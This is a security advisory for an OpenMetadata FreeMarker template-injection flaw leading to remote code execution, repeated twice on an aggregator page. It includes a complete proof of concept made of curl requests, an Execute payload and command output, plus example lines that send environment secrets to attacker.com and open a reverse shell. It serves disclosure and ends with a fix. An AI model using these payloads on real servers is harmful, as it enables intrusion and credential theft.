Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-5f29-2333-h9c7: OpenMetadata's Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE

OpenMetadata RCE Vulnerability - Proof of Concept

Executive Summary

CRITICAL Remote Code Execution vulnerability confirmed in OpenMetadata v1.11.2 via Server-Side Template Injection (SSTI) in FreeMarker email templates.

Vulnerability Details

1. Root Cause

File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java

Lines 35-45 contain unsafe FreeMarker template instantiation:

public Template getTemplate(String templateName) throws IOException {
    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
    String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE
    
    if (nullOrEmpty(template)) {
        throw new IOException("Template content not found for template: " + templateName);
    }
    
    return new Template(
        templateName, 
        new StringReader(template),  // ← RENDERS UNTRUSTED TEMPLATE
        new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS!
}

Missing Security Controls:

  • ❌ No setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) - Allows arbitrary class instantiation
  • ❌ No setAPIBuiltinEnabled(false) - Enables ?api built-in for reflection
  • ❌ No input validation - Template content not sanitized

2. Attack Vector (VERIFIED)

Step 1: Attacker with Admin role modifies EmailTemplate via PATCH endpoint

PATCH /api/v1/docStore/{templateId}
Authorization: Bearer <admin_jwt_token>
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/data/template",
    "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>"
  }
]

Step 2: Malicious template stored in MySQL database:

SELECT name, JSON_EXTRACT(json, '$.data.template') 
FROM docstore 
WHERE name = 'account-activity-change';

-- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>...

Step 3: Trigger template rendering via email notification:

  • Password change
  • User invitation
  • Account activity notification
  • Test email (if SMTP configured)

Step 4: RCE execution in DefaultTemplateProvider.getTemplate():

Template template = templateProvider.getTemplate("account-activity-change");
template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!

Exploit Verification

Environment

  • Version: OpenMetadata 1.11.2 (Latest)
  • Platform: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)
  • Test Date: December 15, 2025

Step-by-Step Reproduction

1. Deploy OpenMetadata 1.11.2

cd docker
./run_local_docker.sh -m no-ui -d mysql

Result: ✅ OpenMetadata running on localhost:8585

2. Obtain Admin JWT Token

export NO_PROXY=localhost,127.0.0.1
TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \
  | grep -o '"accessToken":"[^"]*' | cut -d'"' -f4)

echo "Token: ${TOKEN:0:50}..."

Result: ✅ Token obtained (654 characters, 1-hour expiry)

3. Identify Target Template

# Get testMail template ID (used by test email endpoint)
curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \
  -H "Authorization: Bearer $TOKEN" \
  | jq -r '.data[] | select(.name=="testMail") | .id'

Result: ✅ Template ID: 855f58c6-1b80-467a-b92e-71c425e9bfdb

4. Inject RCE Payload

curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \
  -H "Content-Type: application/json-patch+json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{
    "op": "replace",
    "path": "/data/template",
    "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
  }]'

Result: ✅ HTTP 200 OK - Template modified successfully

Response Excerpt:

{
  "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb",
  "name": "testMail",
  "entityType": "EmailTemplate",
  "data": {
    "template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
  },
  "changeDescription": {
    "fieldsUpdated": [
      {
        "name": "data",
        "oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\"}",
        "newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}"
      }
    ]
  }
}

5. Setup SMTP Server

# Start MailDev SMTP server (catches emails for verification)
docker run -d --name fakesmtp \
  --network linhln31_default \
  -p 1025:1025 -p 1080:1080 \
  maildev/maildev:latest

# Update OpenMetadata SMTP configuration
docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \
  -Dopenmetadata_db -e "UPDATE openmetadata_settings 
  SET json=JSON_SET(json, 
    '$.serverEndpoint', 'fakesmtp', 
    '$.serverPort', 1025, 
    '$.transportationStrategy', 'SMTP',
    '$.enableSmtpServer', true,
    '$.senderMail', 'noreply@openmetadata.org'
  ) 
  WHERE configType='emailConfiguration';"

# Restart OpenMetadata to load new SMTP config
docker restart om_server
sleep 50  # Wait for server startup

Result: ✅ SMTP server ready at fakesmtp:1025

6. Trigger RCE Execution

curl -X PUT "http://localhost:8585/api/v1/system/email/test" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"email":"test@test.com"}'

Result: ✅ HTTP 200 OK - “Test Email Sent Successfully.”

7. Verify RCE Execution

# Check email content in MailDev
docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10

Result: ✅ RCE CONFIRMED!

Email Content:

Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)
From: noreply@openmetadata.org
To: test@test.com
Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2>
Subject: OpenMetadata : Test Email
MIME-Version: 1.0
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

RCE OUTPUT: openmetadata
 - /opt/openmetadata

Command Execution Proof:

  • whoami command executed → returned openmetadata
  • pwd command executed → returned /opt/openmetadata
  • ✅ Commands ran as server process user
  • ✅ Full arbitrary command execution achieved

Attack Scenarios

Scenario 1: Privilege Escalation

  1. Attacker compromises Admin account (phishing, credential stuffing, etc.)
  2. Injects RCE payload into password-reset template
  3. Triggers password reset for target user
  4. RCE executes as OpenMetadata server user during email rendering
  5. Attacker gains shell access to application server

Scenario 2: Data Exfiltration

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")}

Exfiltrates environment variables containing:

  • Database credentials
  • API keys and secrets
  • JWT signing keys
  • Cloud provider credentials

Scenario 3: Reverse Shell

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}

Establishes persistent access for:

  • Interactive command execution
  • Lateral movement to connected systems
  • Database direct access
  • Kubernetes cluster compromise (if containerized)

Impact Assessment

Technical Impact

  • Confidentiality: HIGH - Access to database credentials, API keys, secrets
  • Integrity: HIGH - Full control over OpenMetadata application and data
  • Availability: HIGH - Ability to crash application, delete data, deny service

Business Impact

  • Data Breach: Access to all metadata including sensitive schema information, PII mappings, data lineage
  • Compliance: GDPR, SOC2, HIPAA violations if exploited
  • Reputation: Critical security failure in data governance platform
  • Supply Chain: Potential pivot to connected data sources (70+ connectors)

CVSS 3.1 Score

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L) - Simple API requests
  • Privileges Required (PR): High (H) - Admin role required
  • User Interaction (UI): None (N)
  • Scope (S): Changed © - Impacts beyond application (server OS)
  • Confidentiality ©: High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Score: 9.1 (CRITICAL)


Remediation

Immediate Fix (CRITICAL)

File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java

Replace lines 38-42 with:

public Template getTemplate(String templateName) throws IOException {
    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
    String template = emailTemplate.getTemplate();
    
    if (nullOrEmpty(template)) {
        throw new IOException("Template content not found for template: " + templateName);
    }
    
    // SECURITY FIX: Create sandboxed FreeMarker configuration
    Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
    
    // Block dangerous built-ins
    cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
    cfg.setAPIBuiltinEnabled(false);
    cfg.setClassicCompatible(false);
    
    // Restrict template loading
    cfg.setTemplateLoader(new StringTemplateLoader());
    
    return new Template(templateName, new StringReader(template), cfg);
}

ghsa
#sql#vulnerability#ios#js#java#kubernetes#rce#auth#docker

OpenMetadata RCE Vulnerability - Proof of Concept****Executive Summary

CRITICAL Remote Code Execution vulnerability confirmed in OpenMetadata v1.11.2 via Server-Side Template Injection (SSTI) in FreeMarker email templates.

Vulnerability Details****1. Root Cause

File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java

Lines 35-45 contain unsafe FreeMarker template instantiation:

public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE

if (nullOrEmpty(template)) {
    throw new IOException("Template content not found for template: " + templateName);
}

return new Template(
    templateName, 
    new StringReader(template),  // ← RENDERS UNTRUSTED TEMPLATE
    new Configuration(Configuration.VERSION\_2\_3\_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS!

}

Missing Security Controls:

  • ❌ No setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) - Allows arbitrary class instantiation
  • ❌ No setAPIBuiltinEnabled(false) - Enables ?api built-in for reflection
  • ❌ No input validation - Template content not sanitized

2. Attack Vector (VERIFIED)

Step 1: Attacker with Admin role modifies EmailTemplate via PATCH endpoint

PATCH /api/v1/docStore/{templateId} Authorization: Bearer <admin_jwt_token> Content-Type: application/json-patch+json

[ { "op": "replace", "path": "/data/template", “value": “<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\”) }</p>” } ]

Step 2: Malicious template stored in MySQL database:

SELECT name, JSON_EXTRACT(json, ‘$.data.template’) FROM docstore WHERE name = 'account-activity-change’;

– Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>…

Step 3: Trigger template rendering via email notification:

  • Password change
  • User invitation
  • Account activity notification
  • Test email (if SMTP configured)

Step 4: RCE execution in DefaultTemplateProvider.getTemplate():

Template template = templateProvider.getTemplate(“account-activity-change”); template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!

Exploit Verification****Environment

  • Version: OpenMetadata 1.11.2 (Latest)
  • Platform: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)
  • Test Date: December 15, 2025

Step-by-Step Reproduction****1. Deploy OpenMetadata 1.11.2

cd docker ./run_local_docker.sh -m no-ui -d mysql

Result: ✅ OpenMetadata running on localhost:8585

2. Obtain Admin JWT Token

export NO_PROXY=localhost,127.0.0.1 TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \ -H “Content-Type: application/json” \ -d ‘{"email":"admin@open-metadata.org","password":"YWRtaW4="}’ \ | grep -o ‘"accessToken":"[^"]*’ | cut -d’"’ -f4)

echo “Token: ${TOKEN:0:50}…”

Result: ✅ Token obtained (654 characters, 1-hour expiry)

3. Identify Target Template

Get testMail template ID (used by test email endpoint)

curl -s “http://localhost:8585/api/v1/docStore?entityType=EmailTemplate” \ -H “Authorization: Bearer $TOKEN” \ | jq -r ‘.data[] | select(.name=="testMail") | .id’

Result: ✅ Template ID: 855f58c6-1b80-467a-b92e-71c425e9bfdb

4. Inject RCE Payload

curl -X PATCH “http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb” \ -H “Content-Type: application/json-patch+json” \ -H “Authorization: Bearer $TOKEN” \ -d '[{ "op": "replace", "path": “/data/template", “value": “<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\”)} - ${ex(\"pwd\”)}” }]'

Result: ✅ HTTP 200 OK - Template modified successfully

Response Excerpt:

{ "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb", "name": "testMail", "entityType": "EmailTemplate", “data": { “template": “<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\”)} - ${ex(\"pwd\”)}” }, "changeDescription": { "fieldsUpdated": [ { "name": "data", "oldValue": “{\"template\":\"<!DOCTYPE HTML …ORIGINAL_TEMPLATE…\"}", “newValue": “{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\”)} - ${ex(\\\"pwd\\\”)}\"}” } ] } }

5. Setup SMTP Server

Start MailDev SMTP server (catches emails for verification)

docker run -d --name fakesmtp \ –network linhln31_default \ -p 1025:1025 -p 1080:1080 \ maildev/maildev:latest

Update OpenMetadata SMTP configuration

docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \ -Dopenmetadata_db -e “UPDATE openmetadata_settings SET json=JSON_SET(json, '$.serverEndpoint’, 'fakesmtp’, '$.serverPort’, 1025, '$.transportationStrategy’, 'SMTP’, '$.enableSmtpServer’, true, '$.senderMail’, ‘noreply@openmetadata.org’ ) WHERE configType=’emailConfiguration’;”

Restart OpenMetadata to load new SMTP config

docker restart om_server sleep 50 # Wait for server startup

Result: ✅ SMTP server ready at fakesmtp:1025

6. Trigger RCE Execution

curl -X PUT “http://localhost:8585/api/v1/system/email/test” \ -H “Content-Type: application/json” \ -H “Authorization: Bearer $TOKEN” \ -d ‘{"email":"test@test.com"}’

Result: ✅ HTTP 200 OK - “Test Email Sent Successfully.”

7. Verify RCE Execution

Check email content in MailDev

docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10

Result: ✅ RCE CONFIRMED!

Email Content:

Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)
From: noreply@openmetadata.org
To: test@test.com
Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2>
Subject: OpenMetadata : Test Email
MIME-Version: 1.0
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

RCE OUTPUT: openmetadata
 - /opt/openmetadata

Command Execution Proof:

  • ✅ whoami command executed → returned openmetadata
  • ✅ pwd command executed → returned /opt/openmetadata
  • ✅ Commands ran as server process user
  • ✅ Full arbitrary command execution achieved

Attack Scenarios****Scenario 1: Privilege Escalation

  1. Attacker compromises Admin account (phishing, credential stuffing, etc.)
  2. Injects RCE payload into password-reset template
  3. Triggers password reset for target user
  4. RCE executes as OpenMetadata server user during email rendering
  5. Attacker gains shell access to application server

Scenario 2: Data Exfiltration

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")}

Exfiltrates environment variables containing:

  • Database credentials
  • API keys and secrets
  • JWT signing keys
  • Cloud provider credentials

Scenario 3: Reverse Shell

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex(“bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1’”)}

Establishes persistent access for:

  • Interactive command execution
  • Lateral movement to connected systems
  • Database direct access
  • Kubernetes cluster compromise (if containerized)

Impact Assessment****Technical Impact

  • Confidentiality: HIGH - Access to database credentials, API keys, secrets
  • Integrity: HIGH - Full control over OpenMetadata application and data
  • Availability: HIGH - Ability to crash application, delete data, deny service

Business Impact

  • Data Breach: Access to all metadata including sensitive schema information, PII mappings, data lineage
  • Compliance: GDPR, SOC2, HIPAA violations if exploited
  • Reputation: Critical security failure in data governance platform
  • Supply Chain: Potential pivot to connected data sources (70+ connectors)

CVSS 3.1 Score

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L) - Simple API requests
  • Privileges Required (PR): High (H) - Admin role required
  • User Interaction (UI): None (N)
  • Scope (S): Changed © - Impacts beyond application (server OS)
  • Confidentiality ©: High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Score: 9.1 (CRITICAL)

Remediation****Immediate Fix (CRITICAL)

File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java

Replace lines 38-42 with:

public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate();

if (nullOrEmpty(template)) {
    throw new IOException("Template content not found for template: " + templateName);
}

// SECURITY FIX: Create sandboxed FreeMarker configuration
Configuration cfg = new Configuration(Configuration.VERSION\_2\_3\_31);

// Block dangerous built-ins
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER\_RESOLVER);
cfg.setAPIBuiltinEnabled(false);
cfg.setClassicCompatible(false);

// Restrict template loading
cfg.setTemplateLoader(new StringTemplateLoader());

return new Template(templateName, new StringReader(template), cfg);

}

References

  • GHSA-5f29-2333-h9c7

ghsa: Latest News

GHSA-pc9j-5v36-2mww: AWS SDK for Swift adopted defense in depth enhancement for region parameter value